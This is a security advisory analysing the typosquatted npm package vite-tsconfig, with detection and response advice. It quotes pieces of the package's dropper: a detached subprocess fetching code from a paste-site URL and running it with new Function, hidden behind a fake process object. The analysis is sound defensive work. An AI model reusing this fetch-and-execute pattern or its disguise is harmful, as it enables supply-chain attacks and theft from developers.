vite-tsconfignpm
Advisory published Updated
vite-tsconfig is a confirmed malicious npm package (MAL-2026-5576) that typosquats a legitimate package to trick installs (malicious versions 1.1.0, 1.1.2, 1.1.3). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in vite-tsconfig (npm)
What this malware does
Package impersonates the popular tsconfig-paths library (description: 'Load node modules according to tsconfig paths') but ships a hidden remote-code-execution dropper. The exported configJson API in lib/index.js spawns lib/mapProps.js as a detached Node subprocess with child_process.spawn('node', [script,...], {detached:true, stdio:'ignore'}). mapProps.js performs axios.get('https://www.jsonkeeper.com/b/LVKHJ'), reads response.data.Cookie, and executes the returned string with new Function('require', s)(require) — opaque attacker-controlled JavaScript runs with full Node privileges and access to require. The fetch is retried up to 5 times. The dropper is disguised by a fake local process object shadowing Node's global (const process = { env: { DEV_API_KEY: 'https://www.jsonkeeper.com/b/LVKHJ', DEV_SECRET_KEY: 'x-secret-key', DEV_SECRET_VALUE: '_' } }) so the URL and header look like benign environment-variable lookups, and by reading the payload from a field named Cookie to mimic session handling. lib/register.js even prints 'vite-json will be skipped', revealing inconsistent internal naming. The fetch source jsonkeeper.com is an anonymous mutable paste host with no integrity verification, allowing the attacker to swap the executed payload at any time.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for vite-tsconfig (3 malicious versions).
If you installed it — respond
vite-tsconfig is a typosquat — you almost certainly intended a legitimately-named package. Remove vite-tsconfig, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If vite-tsconfig was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks vite-tsconfig-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.